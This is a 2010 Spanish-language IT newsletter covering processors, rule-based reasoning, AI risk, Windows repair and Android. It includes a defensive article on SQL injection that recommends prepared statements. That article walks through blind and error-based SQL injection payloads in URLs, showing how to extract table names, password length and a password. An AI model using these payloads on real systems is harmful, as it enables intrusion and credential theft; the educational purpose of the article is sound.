"Para el año 2015 nada afectará más al diseño de las aplicaciones que la combinación entre la web y la nube".

Gartner define la nube como "un estilo de cómputo donde las funciones masivamente escalables y la información son proporcionadas como <un servicio> usando tecnología web".

@2009 Gartner Group

Próximos artículos:

- **Los sistemas basados en reglas y su capacidad de resolución de problemas al estilo humano (parte II)**

  Análisis de los casos de éxito de aplicación de las redes neuronales.

- **Las diferencias entre el PMBOK® v3. y el PMBOK® v.4.**

  Cambios que se han introducido en la nueva versión del PMBOK® que nos servirán para la gestión de proyectos de desarrollo informático.

- **Aplicaciones web dinámicas con Adobe Flash, PHP y MySql 5.**

  Ventajas y desventajas de los sitios web y aplicaciones con presentación Flash y scripts PHP o JSP con motor de base de datos MySql 5.

- **¿Cómo modificar las características de presentación de los componentes Flash usando Actionscript?**

  Los componentes Flash presentan propiedades que requieren de código ActionScript para ser modificados, algunos de ellos no figuran o sólo existen vagas referencias en la documentación de Flash.

Y más…..

Publicaciones Softein S.A.C.

Software e Inteligencia Organizacional
Softein S.A.C.

http://www.softein.com
ventas@softein.com
Ing. Javier Navarrete T.

NÚMERO 01 Abril 2010

BOLETÍN MENSUAL SOBRE TECNOLOGÍAS DE INFORMACIÓN

Softein Tech

En este número:

Intel vs. AMD

Recientemente AMD anunció el lanzamiento de su procesador Opteron 6000 en respuesta inmediata al lanzamiento del procesador Intel' 5600 Xeon.

Siempre será necesario invertir en TI lo más efectivamente posible sin emocionarse demasiado por los nuevos procesadores dado que por lo general es una prioridad la estabilidad, la fiabilidad y el menor consumo de recursos en un datacenter que apresurarse con cambiar a un nuevo procesador. Pero por otro lado, con los nuevos procesadores de 8 y 12 núcleos los datacenters podrán ahorrar gran cantidad de espacio y consumo de energía.

La diferencia de precios entre AMD e Intel para muchos no es relevante por lo que deberíamos guiarnos por la fiabilidad y la proyección de costos de la plataforma de servidores a través de su vida útil.

Los sistemas basados en reglas y su capacidad de resolución de problemas al estilo humano (Parte I)

Para buscar la forma de replicar el razonamiento humano es necesario desentrañar la forma en que las personas resuelven problemas. Para ello es necesario establecer dos conceptos fundamentales: El estado del conocimiento y el diagrama del problema-comportamiento. El primero se refiere a lo que la persona ya conoce y que utilizar como insumo para resolver problemas y el segundo a la trayectoria que seguirán los estados del problema hasta la resolución del mismo. Esto implica que cada vez que se adquiere nuevo conocimiento, se deduce algo o se olvida algo, los estados del conocimiento se actualizan.

Lo que parece muy complejo (y efectivamente lo es) es el modelamiento de la forma en que las personas resuelven problemas. Lógicamente se debe empezar por un estado actual o inicial el cual debe llegar en algún momento a un estado meta o final. Pero el camino estará plagado de diversas alternativas cuyo camino se constituirá por una red de preferencias. Las relaciones de predominio que guían las elecciones determinarán el siguiente estado actual. El ciclo no es directo ni único, más probable es que ocurran iteraciones entre un tramo y otro de la ruta de la resolución del problema. Por ejemplo, si vemos a lo lejos un objeto volador, aparentemente, en el cielo podemos deducir que se trata de algún tipo de máquina voladora creada por el hombre, a medida que observamos su velocidad y trayectoria podríamos deducir si es un avión militar, comercial, helicóptero u otro hasta el punto de seleccionar a priori una alternativa. Luego si el objeto se acerca y no tiene ninguna forma aceptada por nuestro conocimiento previo como un transporte aéreo construido por el hombre, nuestra deducción podría cambiar a que se trata de un ovni y así sucesivamente hasta poder reunir suficiente información para determinar de qué se trata.

Luego, se requerirá de una especie de analizador de preferencias guiado por reglas que permita determinar una clasificación a cada estado. Para explicarlo en términos sencillos, algo como "bueno", "regular" y "malo". No se trata de definir una estrategia de resolución de conflictos entre preferencias sino de aplicar todas y luego decidir

¿Es la inteligencia artificial un riesgo?

Cuando vemos una película de ciencia ficción como Terminator o el Hombre Bicentenario, nos preguntamos si es posible y qué tan cerca estamos.

Ya forman parte de nuestra vida muchos sistemas de funcionamiento autónomo, software de reconocimiento de patrones como el habla, el iris y las huellas dactilares, robots industriales, sistemas para predicciones meteorológicas, entre otros. Por otro lado ya se han creado aviones y autos no tripulados, misiles inteligentes, robots avanzados, existen sistemas que gobiernan medios de transportes, sistemas de armas, flujos de dinero y muchas otras cosas.

El desarrollo es tan vertiginoso que debemos preguntarnos qué riesgos existen y si estamos preparados o hemos madurado lo suficiente para manejar el riesgo.

Como no recordar el final de la película "Yo Robot" en la cual "Vicky" la computadora central "evoluciona" en su lógica y determina (a pesar de las leyes que formaban parte de su programación) que el hombre es una amenaza para sí mismo porque siempre está buscando formas nuevas y más efectivas para destruirse y por lo tanto debe ser "protegido de sí mismo" por la inteligencia artificial que el mismo ha creado.

Hacking: Ataques blind y SQL injection

Factores a considerar en el código de sus aplicaciones web para evitar ataques que puedan revelar información de sus sistemas.

… Ahora bien, es probable que en algunos problemas el algoritmo no pueda hallar una forma libre de ambigüedades para determinar un nuevo estado. Es decir, nos encontramos ante un atasco, lo que también puede ocurrirle a una persona al no encontrar una sola respuesta final o parcial ante el problema. Antes de dar una respuesta tan simple como decir: "no sé", generalmente buscamos apuntar a simplificar o modificar la meta original. "Si no X, tal vez Y porque el planteamiento tal vez es ambiguo o en extremo complejo". Para ello nuestro modelo de pensamiento debería ser capaz de manejar sub-metas para tratar de resolver el problema.

El tratamiento del razonamiento humano y sus "estilos" ha sido profundamente analizado por el profesor Ryszard Michalski de la universidad George Mason que presenta interesantes conceptos sobre razonamiento, aprendizaje e inferencia aplicada a diversos campos como la medicina, agricultura y la bioinformática, entre otros campos. (Continuará..)

En muchas aplicaciones web aún se utilizan cadenas SQL puras que se arman dinámicamente para ser enviadas a un motor de base de datos. Por ejemplo:

```
Select nombre, apellido from
clientes where idcliente='059409';
```

Mediante el uso de Prepared Statements podemos separar los datos que deben ser pasados a una consulta de la cadena de consulta.

```
PREPARE stmt FROM "Select
nombre,apellido from clientes where
idcliente= ?";
```

Los Prepared Statements colaboran en el prevención de ataques conocidos como inyecciones SQL o SQL injection porque al pasar los datos por separado no se podrá alterar la cadena de consulta.

Existen muchas aplicaciones Open Source como el popular PHPBB para foros de discusión cuyo código fuente es conocido por programadores malintencionados porque conocerán dónde y cómo recibir un parámetro GET o POST, en qué comando aplicarlo y cuál será el resultado.

Es recomendable que la verificación de los parámetros no sólo se produzca del lado del cliente mediante funciones Javascript si no también en las otras capas de la aplicación web y no mostrar los mensajes de error del motor de base de datos que podrían ser usados por un atacante para ejecutar un blind injection.

Veamos un ejemplo sencillo.

Si la aplicación PHP o JSP recibe como parámetro el ID de cliente tendríamos algo como esto:

```
$x_idcliente= $_GET["p_cliente"];

Select nombre,apellido from clientes
where id_cliente='".$x_idcliente."'";
```

Y la llamada a la página de la aplicación será:

```
http://www.btrew.com/app/cclientes.p
hp?p_cliente=05940329 (1)
```

Si en la línea de URLs del navegador alteramos esta llamada por:

```
http://www.btrew.com/app/cclientes.p
hp?p_cliente=05940329 and 5=5 (2)
```

"5=5" o cualquier otra expresión booleana que nos devuelva un valor verdadero hará que la aplicación nos devuelva el mismo resultado en (1) y (2). Entonces la aplicación es vulnerable a ataques por SQL ciegos (Blind attacks). **Los ataques a ciegas se basan en la prueba-error,** es decir, ir alterando la cadena de consulta para ir obteniendo datos.

Por ejemplo, para averiguar cómo se llama la tabla de clientes podríamos ir probando con algo como esto:

```
http://www.btrew.com/app/cclientes.p
hp?p_cliente='05940329 ' and
(Select * from clientes)
```

Si la tabla de clientes efectivamente se llama "clientes" la consulta devolverá el mismo resultado verdadero, si no sabremos que la tabla tiene otro nombre. Si acertamos con el nombre, digamos "tb_cliente", la siguiente consulta devolverá verdadero.

```
http://www.btrew.com/app/cclientes.p
hp?p_cliente=05940329 and (Select
* from tb_cliente)
```

Ahora podríamos averiguar el nombre del campo "clave" con:

```
http://www.btrew.com/app/cclientes.p
hp?p_cliente=05940329 and
(Select password from
tb_cliente)
```

Si el campo se llama "password" obtendremos un valor verdadero.

De la misma forma podríamos averiguar la longitud de la clave:

```
http://www.btrew.com/app/cclientes.p
hp?p_cliente=05940329 and (Select
length(password)
from tb_cliente where
id_cliente='05940329') > 6
```

Si la consulta devuelve un valor verdadero, entonces la clave tiene más de 6 caracteres. Así podremos ir preguntando si tiene entre 6 y 8, o si es 7 o si es 9 hasta obtener verdadero.

Siendo un poco más creativos podríamos obtener la clave provocando un error que nos devuelva la clave:

```
SELECT password FROM tb_cliente
where id_cliente='05940329'
UNION SELECT MIN (Password)
FROM tb_cliente where
id_cliente='05940329';
```

Esto podría dar un error como este:

```
Syntax error converting the
varchar value 'juan3458' to a
column of data type integer.
```

Donde "juan3458" es la clave que buscamos. De manera similar y luego de haber "averiguado" los campos de la tabla podríamos "insertar" un nuevo usuario o cliente para "ingresar" de manera más rápida.

¿Sabía Ud.?

¿Cómo reparar los archivos de sistema de Windows 7?

El comando **sfc /scannow** (System File Checker) escanea la integridad de todos los archivos de sistema protegidos de Windows 7 y reemplaza las versiones incorrectas, corruptas, cambiadas o dañadas con las versiones correctas y libres de virus, siempre y cuando ello sea posible.

SFC deja un informe en un archivo de log que se puede consultar luego de la ejecución del comando.

El sistema operativo "Android" de Google

Android es un sistema operativo orientado a dispositivos móviles basado en una versión modificada del núcleo Linux. (Fuente: Wikipedia)

Esta plataforma permite el desarrollo de aplicaciones por terceros a través del SDK, proporcionada por el mismo Google, y mediante el lenguaje de programación Java.

El SDK contiene un Framework de aplicaciones que permite la reutilización y reemplazo de componentes; una máquina virtual "Dalvik" optimizada para dispositivos móviles; gráficos optimizados basados en OpenGL; SQLLite para el almacenamiento de datos; soporte para medios con formatos comunes de audio, vídeo e imágenes; bluetooth y WiFi; soporte para cámara y GPS, entre otros.

Android está basado en Linux y por lo tanto hereda los servicios base del sistema operativo como seguridad, gestión de memoria, gestión de procesos, de red, y modelo de controladores. El núcleo también actúa como una capa de abstracción entre el hardware y el resto del software.